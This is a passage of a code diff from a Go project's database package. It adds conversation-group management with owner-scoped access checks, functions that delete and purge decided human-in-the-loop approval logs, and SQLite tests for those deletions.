||||||
|
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,486 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ConversationGroup 对话分组
|
||||||
|
type ConversationGroup struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Icon string `json:"icon"`
|
||||||
|
Pinned bool `json:"pinned"`
|
||||||
|
CreatedAt time.Time `json:"createdAt"`
|
||||||
|
UpdatedAt time.Time `json:"updatedAt"`
|
||||||
|
OwnerUserID string `json:"-"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GroupExistsByName 检查分组名称是否已存在
|
||||||
|
func (db *DB) GroupExistsByName(name string, excludeID string) (bool, error) {
|
||||||
|
return db.groupExistsByNameForOwner(name, excludeID, "")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) groupExistsByNameForOwner(name, excludeID, ownerUserID string) (bool, error) {
|
||||||
|
var count int
|
||||||
|
var err error
|
||||||
|
if ownerUserID != "" && excludeID != "" {
|
||||||
|
err = db.QueryRow("SELECT COUNT(*) FROM conversation_groups WHERE name = ? AND owner_user_id = ? AND id != ?", name, ownerUserID, excludeID).Scan(&count)
|
||||||
|
} else if ownerUserID != "" {
|
||||||
|
err = db.QueryRow("SELECT COUNT(*) FROM conversation_groups WHERE name = ? AND owner_user_id = ?", name, ownerUserID).Scan(&count)
|
||||||
|
} else if excludeID != "" {
|
||||||
|
err = db.QueryRow(
|
||||||
|
"SELECT COUNT(*) FROM conversation_groups WHERE name = ? AND id != ?",
|
||||||
|
name, excludeID,
|
||||||
|
).Scan(&count)
|
||||||
|
} else {
|
||||||
|
err = db.QueryRow(
|
||||||
|
"SELECT COUNT(*) FROM conversation_groups WHERE name = ?",
|
||||||
|
name,
|
||||||
|
).Scan(&count)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("检查分组名称失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return count > 0, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CreateGroup 创建分组
|
||||||
|
func (db *DB) CreateGroup(name, icon string, owners ...string) (*ConversationGroup, error) {
|
||||||
|
ownerUserID := ""
|
||||||
|
if len(owners) > 0 {
|
||||||
|
ownerUserID = owners[0]
|
||||||
|
}
|
||||||
|
// 检查名称是否已存在
|
||||||
|
exists, err := db.groupExistsByNameForOwner(name, "", ownerUserID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if exists {
|
||||||
|
return nil, fmt.Errorf("分组名称已存在")
|
||||||
|
}
|
||||||
|
|
||||||
|
id := uuid.New().String()
|
||||||
|
now := time.Now()
|
||||||
|
|
||||||
|
if icon == "" {
|
||||||
|
icon = "📁"
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = db.Exec(
|
||||||
|
"INSERT INTO conversation_groups (id, name, icon, pinned, owner_user_id, created_at, updated_at) VALUES (?, ?, ?, ?, ?, ?, ?)",
|
||||||
|
id, name, icon, 0, ownerUserID, now, now,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("创建分组失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &ConversationGroup{
|
||||||
|
ID: id,
|
||||||
|
Name: name,
|
||||||
|
Icon: icon,
|
||||||
|
Pinned: false,
|
||||||
|
CreatedAt: now,
|
||||||
|
UpdatedAt: now,
|
||||||
|
OwnerUserID: ownerUserID,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListGroups 列出所有分组
|
||||||
|
func (db *DB) ListGroups() ([]*ConversationGroup, error) {
|
||||||
|
return db.ListGroupsForAccess("", RBACScopeAll)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ListGroupsForAccess(userID, scope string) ([]*ConversationGroup, error) {
|
||||||
|
query := "SELECT id, name, icon, COALESCE(pinned, 0), COALESCE(owner_user_id, ''), created_at, updated_at FROM conversation_groups"
|
||||||
|
args := []interface{}{}
|
||||||
|
if scope != RBACScopeAll {
|
||||||
|
query += " WHERE owner_user_id = ?"
|
||||||
|
args = append(args, userID)
|
||||||
|
}
|
||||||
|
query += " ORDER BY COALESCE(pinned, 0) DESC, created_at ASC"
|
||||||
|
rows, err := db.Query(
|
||||||
|
query, args...,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询分组列表失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var groups []*ConversationGroup
|
||||||
|
for rows.Next() {
|
||||||
|
var group ConversationGroup
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
var pinned int
|
||||||
|
|
||||||
|
if err := rows.Scan(&group.ID, &group.Name, &group.Icon, &pinned, &group.OwnerUserID, &createdAt, &updatedAt); err != nil {
|
||||||
|
return nil, fmt.Errorf("扫描分组失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
group.Pinned = pinned != 0
|
||||||
|
|
||||||
|
// 尝试多种时间格式解析
|
||||||
|
var err1, err2 error
|
||||||
|
group.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||||
|
if err1 != nil {
|
||||||
|
group.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
||||||
|
}
|
||||||
|
if err1 != nil {
|
||||||
|
group.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
group.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
||||||
|
if err2 != nil {
|
||||||
|
group.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
||||||
|
}
|
||||||
|
if err2 != nil {
|
||||||
|
group.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
groups = append(groups, &group)
|
||||||
|
}
|
||||||
|
|
||||||
|
return groups, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetGroup 获取分组
|
||||||
|
func (db *DB) GetGroup(id string) (*ConversationGroup, error) {
|
||||||
|
var group ConversationGroup
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
var pinned int
|
||||||
|
|
||||||
|
err := db.QueryRow(
|
||||||
|
"SELECT id, name, icon, COALESCE(pinned, 0), COALESCE(owner_user_id, ''), created_at, updated_at FROM conversation_groups WHERE id = ?",
|
||||||
|
id,
|
||||||
|
).Scan(&group.ID, &group.Name, &group.Icon, &pinned, &group.OwnerUserID, &createdAt, &updatedAt)
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("分组不存在")
|
||||||
|
}
|
||||||
|
return nil, fmt.Errorf("查询分组失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试多种时间格式解析
|
||||||
|
var err1, err2 error
|
||||||
|
group.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||||
|
if err1 != nil {
|
||||||
|
group.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
||||||
|
}
|
||||||
|
if err1 != nil {
|
||||||
|
group.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
group.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
||||||
|
if err2 != nil {
|
||||||
|
group.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
||||||
|
}
|
||||||
|
if err2 != nil {
|
||||||
|
group.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
group.Pinned = pinned != 0
|
||||||
|
|
||||||
|
return &group, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) UserCanAccessGroup(userID, scope, groupID string) bool {
|
||||||
|
if scope == RBACScopeAll {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
var count int
|
||||||
|
err := db.QueryRow(`SELECT COUNT(*) FROM conversation_groups WHERE id = ? AND owner_user_id = ?`, groupID, userID).Scan(&count)
|
||||||
|
return err == nil && count > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateGroup 更新分组
|
||||||
|
func (db *DB) UpdateGroup(id, name, icon string) error {
|
||||||
|
existing, err := db.GetGroup(id)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
// 检查名称是否已存在(排除当前分组)
|
||||||
|
exists, err := db.groupExistsByNameForOwner(name, id, existing.OwnerUserID)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if exists {
|
||||||
|
return fmt.Errorf("分组名称已存在")
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = db.Exec(
|
||||||
|
"UPDATE conversation_groups SET name = ?, icon = ?, updated_at = ? WHERE id = ?",
|
||||||
|
name, icon, time.Now(), id,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新分组失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteGroup 删除分组
|
||||||
|
func (db *DB) DeleteGroup(id string) error {
|
||||||
|
_, err := db.Exec("DELETE FROM conversation_groups WHERE id = ?", id)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("删除分组失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// AddConversationToGroup 将对话添加到分组
|
||||||
|
// 注意:一个对话只能属于一个分组,所以在添加新分组之前,会先删除该对话的所有旧分组关联
|
||||||
|
func (db *DB) AddConversationToGroup(conversationID, groupID string) error {
|
||||||
|
// 先删除该对话的所有旧分组关联,确保一个对话只属于一个分组
|
||||||
|
_, err := db.Exec(
|
||||||
|
"DELETE FROM conversation_group_mappings WHERE conversation_id = ?",
|
||||||
|
conversationID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("删除对话旧分组关联失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 然后插入新的分组关联
|
||||||
|
id := uuid.New().String()
|
||||||
|
_, err = db.Exec(
|
||||||
|
"INSERT INTO conversation_group_mappings (id, conversation_id, group_id, created_at) VALUES (?, ?, ?, ?)",
|
||||||
|
id, conversationID, groupID, time.Now(),
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("添加对话到分组失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// RemoveConversationFromGroup 从分组中移除对话
|
||||||
|
func (db *DB) RemoveConversationFromGroup(conversationID, groupID string) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
"DELETE FROM conversation_group_mappings WHERE conversation_id = ? AND group_id = ?",
|
||||||
|
conversationID, groupID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("从分组中移除对话失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetConversationsByGroup 获取分组中的所有对话
|
||||||
|
func (db *DB) GetConversationsByGroup(groupID string) ([]*Conversation, error) {
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, COALESCE(cgm.pinned, 0) as group_pinned
|
||||||
|
FROM conversations c
|
||||||
|
INNER JOIN conversation_group_mappings cgm ON c.id = cgm.conversation_id
|
||||||
|
WHERE cgm.group_id = ?
|
||||||
|
ORDER BY COALESCE(cgm.pinned, 0) DESC, c.updated_at DESC`,
|
||||||
|
groupID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询分组对话失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var conversations []*Conversation
|
||||||
|
for rows.Next() {
|
||||||
|
var conv Conversation
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
var pinned int
|
||||||
|
var groupPinned int
|
||||||
|
|
||||||
|
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &groupPinned); err != nil {
|
||||||
|
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试多种时间格式解析
|
||||||
|
var err1, err2 error
|
||||||
|
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||||
|
if err1 != nil {
|
||||||
|
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
||||||
|
}
|
||||||
|
if err1 != nil {
|
||||||
|
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
||||||
|
if err2 != nil {
|
||||||
|
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
||||||
|
}
|
||||||
|
if err2 != nil {
|
||||||
|
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
conv.Pinned = pinned != 0
|
||||||
|
|
||||||
|
conversations = append(conversations, &conv)
|
||||||
|
}
|
||||||
|
|
||||||
|
return conversations, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SearchConversationsByGroup 搜索分组中的对话(按标题和消息内容模糊匹配)
|
||||||
|
func (db *DB) SearchConversationsByGroup(groupID string, searchQuery string) ([]*Conversation, error) {
|
||||||
|
// 构建SQL查询,支持按标题和消息内容搜索
|
||||||
|
// 使用 DISTINCT 避免因为一个对话有多条匹配消息而重复
|
||||||
|
query := `SELECT DISTINCT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, COALESCE(cgm.pinned, 0) as group_pinned
|
||||||
|
FROM conversations c
|
||||||
|
INNER JOIN conversation_group_mappings cgm ON c.id = cgm.conversation_id
|
||||||
|
WHERE cgm.group_id = ?`
|
||||||
|
|
||||||
|
args := []interface{}{groupID}
|
||||||
|
|
||||||
|
// 如果有搜索关键词,添加标题和消息内容搜索条件
|
||||||
|
if searchQuery != "" {
|
||||||
|
searchPattern := "%" + searchQuery + "%"
|
||||||
|
// 搜索标题或消息内容
|
||||||
|
// 使用 LEFT JOIN 连接消息表,这样即使没有消息的对话也能被搜索到(通过标题)
|
||||||
|
query += ` AND (
|
||||||
|
LOWER(c.title) LIKE LOWER(?)
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM messages m
|
||||||
|
WHERE m.conversation_id = c.id
|
||||||
|
AND LOWER(m.content) LIKE LOWER(?)
|
||||||
|
)
|
||||||
|
)`
|
||||||
|
args = append(args, searchPattern, searchPattern)
|
||||||
|
}
|
||||||
|
|
||||||
|
query += " ORDER BY COALESCE(cgm.pinned, 0) DESC, c.updated_at DESC"
|
||||||
|
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("搜索分组对话失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var conversations []*Conversation
|
||||||
|
for rows.Next() {
|
||||||
|
var conv Conversation
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
var pinned int
|
||||||
|
var groupPinned int
|
||||||
|
|
||||||
|
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &groupPinned); err != nil {
|
||||||
|
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试多种时间格式解析
|
||||||
|
var err1, err2 error
|
||||||
|
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||||
|
if err1 != nil {
|
||||||
|
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
||||||
|
}
|
||||||
|
if err1 != nil {
|
||||||
|
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
||||||
|
if err2 != nil {
|
||||||
|
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
||||||
|
}
|
||||||
|
if err2 != nil {
|
||||||
|
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
conv.Pinned = pinned != 0
|
||||||
|
|
||||||
|
conversations = append(conversations, &conv)
|
||||||
|
}
|
||||||
|
|
||||||
|
return conversations, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetGroupByConversation 获取对话所属的分组
|
||||||
|
func (db *DB) GetGroupByConversation(conversationID string) (string, error) {
|
||||||
|
var groupID string
|
||||||
|
err := db.QueryRow(
|
||||||
|
"SELECT group_id FROM conversation_group_mappings WHERE conversation_id = ? LIMIT 1",
|
||||||
|
conversationID,
|
||||||
|
).Scan(&groupID)
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return "", nil // 没有分组
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("查询对话分组失败: %w", err)
|
||||||
|
}
|
||||||
|
return groupID, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateConversationPinned 更新对话置顶状态
|
||||||
|
func (db *DB) UpdateConversationPinned(id string, pinned bool) error {
|
||||||
|
pinnedValue := 0
|
||||||
|
if pinned {
|
||||||
|
pinnedValue = 1
|
||||||
|
}
|
||||||
|
// 注意:不更新 updated_at,因为置顶操作不应该改变对话的更新时间
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE conversations SET pinned = ? WHERE id = ?",
|
||||||
|
pinnedValue, id,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新对话置顶状态失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateGroupPinned 更新分组置顶状态
|
||||||
|
func (db *DB) UpdateGroupPinned(id string, pinned bool) error {
|
||||||
|
pinnedValue := 0
|
||||||
|
if pinned {
|
||||||
|
pinnedValue = 1
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE conversation_groups SET pinned = ?, updated_at = ? WHERE id = ?",
|
||||||
|
pinnedValue, time.Now(), id,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新分组置顶状态失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GroupMapping 分组映射关系
|
||||||
|
type GroupMapping struct {
|
||||||
|
ConversationID string `json:"conversationId"`
|
||||||
|
GroupID string `json:"groupId"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetAllGroupMappings 批量获取所有分组映射(消除 N+1 查询)
|
||||||
|
func (db *DB) GetAllGroupMappings() ([]GroupMapping, error) {
|
||||||
|
rows, err := db.Query("SELECT conversation_id, group_id FROM conversation_group_mappings")
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询分组映射失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var mappings []GroupMapping
|
||||||
|
for rows.Next() {
|
||||||
|
var m GroupMapping
|
||||||
|
if err := rows.Scan(&m.ConversationID, &m.GroupID); err != nil {
|
||||||
|
return nil, fmt.Errorf("扫描分组映射失败: %w", err)
|
||||||
|
}
|
||||||
|
mappings = append(mappings, m)
|
||||||
|
}
|
||||||
|
|
||||||
|
if mappings == nil {
|
||||||
|
mappings = []GroupMapping{}
|
||||||
|
}
|
||||||
|
return mappings, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateConversationPinnedInGroup 更新对话在分组中的置顶状态
|
||||||
|
func (db *DB) UpdateConversationPinnedInGroup(conversationID, groupID string, pinned bool) error {
|
||||||
|
pinnedValue := 0
|
||||||
|
if pinned {
|
||||||
|
pinnedValue = 1
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE conversation_group_mappings SET pinned = ? WHERE conversation_id = ? AND group_id = ?",
|
||||||
|
pinnedValue, conversationID, groupID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新分组对话置顶状态失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DeleteHitlInterruptLogsByIDs deletes decided HITL audit logs by id (pending rows are skipped).
|
||||||
|
func (db *DB) DeleteHitlInterruptLogsByIDs(ids []string) (int64, error) {
|
||||||
|
if db == nil {
|
||||||
|
return 0, fmt.Errorf("database is nil")
|
||||||
|
}
|
||||||
|
clean := make([]string, 0, len(ids))
|
||||||
|
for _, id := range ids {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if id != "" {
|
||||||
|
clean = append(clean, id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(clean) == 0 {
|
||||||
|
return 0, nil
|
||||||
|
}
|
||||||
|
placeholders := strings.TrimRight(strings.Repeat("?,", len(clean)), ",")
|
||||||
|
q := fmt.Sprintf(`DELETE FROM hitl_interrupts WHERE status != 'pending' AND id IN (%s)`, placeholders)
|
||||||
|
args := make([]interface{}, len(clean))
|
||||||
|
for i, id := range clean {
|
||||||
|
args[i] = id
|
||||||
|
}
|
||||||
|
res, err := db.Exec(q, args...)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("批量删除人机协同审计日志失败", zap.Error(err), zap.Int("count", len(clean)))
|
||||||
|
return 0, fmt.Errorf("批量删除人机协同审计日志失败: %w", err)
|
||||||
|
}
|
||||||
|
n, _ := res.RowsAffected()
|
||||||
|
return n, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteHitlInterruptLogsMatching deletes decided logs matching whereSQL (e.g. "WHERE 1=1 AND status != 'pending' ...").
|
||||||
|
func (db *DB) DeleteHitlInterruptLogsMatching(whereSQL string, args []interface{}) (int64, error) {
|
||||||
|
if db == nil {
|
||||||
|
return 0, fmt.Errorf("database is nil")
|
||||||
|
}
|
||||||
|
whereSQL = strings.TrimSpace(whereSQL)
|
||||||
|
if whereSQL == "" {
|
||||||
|
return 0, fmt.Errorf("where clause is required")
|
||||||
|
}
|
||||||
|
q := `DELETE FROM hitl_interrupts ` + whereSQL
|
||||||
|
res, err := db.Exec(q, args...)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("清空人机协同审计日志失败", zap.Error(err))
|
||||||
|
return 0, fmt.Errorf("清空人机协同审计日志失败: %w", err)
|
||||||
|
}
|
||||||
|
n, _ := res.RowsAffected()
|
||||||
|
return n, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// PurgeHitlInterruptLogsBefore deletes decided logs with decided/created time before cutoff.
|
||||||
|
func (db *DB) PurgeHitlInterruptLogsBefore(cutoff time.Time) (int64, error) {
|
||||||
|
if db == nil {
|
||||||
|
return 0, fmt.Errorf("database is nil")
|
||||||
|
}
|
||||||
|
res, err := db.Exec(
|
||||||
|
`DELETE FROM hitl_interrupts WHERE status != 'pending' AND datetime(COALESCE(decided_at, created_at)) < datetime(?)`,
|
||||||
|
cutoff.UTC().Format(time.RFC3339),
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("清理过期人机协同审计日志失败", zap.Error(err))
|
||||||
|
return 0, fmt.Errorf("清理过期人机协同审计日志失败: %w", err)
|
||||||
|
}
|
||||||
|
n, _ := res.RowsAffected()
|
||||||
|
return n, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func ensureHitlInterruptsTable(t *testing.T, db *DB) {
|
||||||
|
t.Helper()
|
||||||
|
if _, err := db.Exec(`
|
||||||
|
CREATE TABLE IF NOT EXISTS hitl_interrupts (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
conversation_id TEXT NOT NULL,
|
||||||
|
message_id TEXT,
|
||||||
|
mode TEXT NOT NULL,
|
||||||
|
tool_name TEXT NOT NULL,
|
||||||
|
tool_call_id TEXT,
|
||||||
|
payload TEXT,
|
||||||
|
status TEXT NOT NULL,
|
||||||
|
decision TEXT,
|
||||||
|
decision_comment TEXT,
|
||||||
|
created_at DATETIME NOT NULL,
|
||||||
|
decided_at DATETIME
|
||||||
|
);`); err != nil {
|
||||||
|
t.Fatalf("create hitl_interrupts: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDeleteHitlInterruptLogsByIDs_skipsPending(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "hitl.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
ensureHitlInterruptsTable(t, db)
|
||||||
|
|
||||||
|
now := time.Now().UTC().Format(time.RFC3339)
|
||||||
|
if _, err := db.Exec(`INSERT INTO hitl_interrupts
|
||||||
|
(id, conversation_id, mode, tool_name, status, created_at)
|
||||||
|
VALUES ('pending-1', 'c1', 'approval', 'exec', 'pending', ?)`, now); err != nil {
|
||||||
|
t.Fatalf("insert pending: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(`INSERT INTO hitl_interrupts
|
||||||
|
(id, conversation_id, mode, tool_name, status, decision, created_at, decided_at)
|
||||||
|
VALUES ('done-1', 'c1', 'approval', 'exec', 'decided', 'approve', ?, ?)`, now, now); err != nil {
|
||||||
|
t.Fatalf("insert decided: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
deleted, err := db.DeleteHitlInterruptLogsByIDs([]string{"pending-1", "done-1"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("DeleteHitlInterruptLogsByIDs: %v", err)
|
||||||
|
}
|
||||||
|
if deleted != 1 {
|
||||||
|
t.Fatalf("deleted = %d, want 1", deleted)
|
||||||
|
}
|
||||||
|
|
||||||
|
var status string
|
||||||
|
if err := db.QueryRow(`SELECT status FROM hitl_interrupts WHERE id = 'pending-1'`).Scan(&status); err != nil {
|
||||||
|
t.Fatalf("pending row missing: %v", err)
|
||||||
|
}
|
||||||
|
if err := db.QueryRow(`SELECT id FROM hitl_interrupts WHERE id = 'done-1'`).Scan(new(string)); err == nil {
|
||||||
|
t.Fatal("decided row should be deleted")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPurgeHitlInterruptLogsBefore(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "hitl.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
ensureHitlInterruptsTable(t, db)
|
||||||
|
|
||||||
|
old := time.Now().AddDate(0, 0, -100).UTC().Format(time.RFC3339)
|
||||||
|
recent := time.Now().AddDate(0, 0, -1).UTC().Format(time.RFC3339)
|
||||||
|
for _, row := range []struct{ id, decided string }{
|
||||||
|
{"old-1", old},
|
||||||
|
{"new-1", recent},
|
||||||
|
} {
|
||||||
|
if _, err := db.Exec(`INSERT INTO hitl_interrupts
|
||||||
|
(id, conversation_id, mode, tool_name, status, decision, created_at, decided_at)
|
||||||
|
VALUES (?, 'c1', 'approval', 'exec', 'decided', 'approve', ?, ?)`, row.id, row.decided, row.decided); err != nil {
|
||||||
|
t.Fatalf("insert %s: %v", row.id, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cutoff := time.Now().AddDate(0, 0, -90)
|
||||||
|
deleted, err := db.PurgeHitlInterruptLogsBefore(cutoff)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("PurgeHitlInterruptLogsBefore: %v", err)
|
||||||
|
}
|
||||||
|
if deleted != 1 {
|
||||||
|
t.Fatalf("deleted = %d, want 1", deleted)
|
||||||
|
}
|
||||||
|
if err := db.QueryRow(`SELECT id FROM hitl_interrupts WHERE id = 'old-1'`).Scan(new(string)); err == nil {
|
||||||
|
t.Fatal("old row should be purged")
|
||||||
|
}
|
||||||
|
if err := db.QueryRow(`SELECT id FROM hitl_interrupts WHERE id = 'new-1'`).Scan(new(string)); err != nil {
|
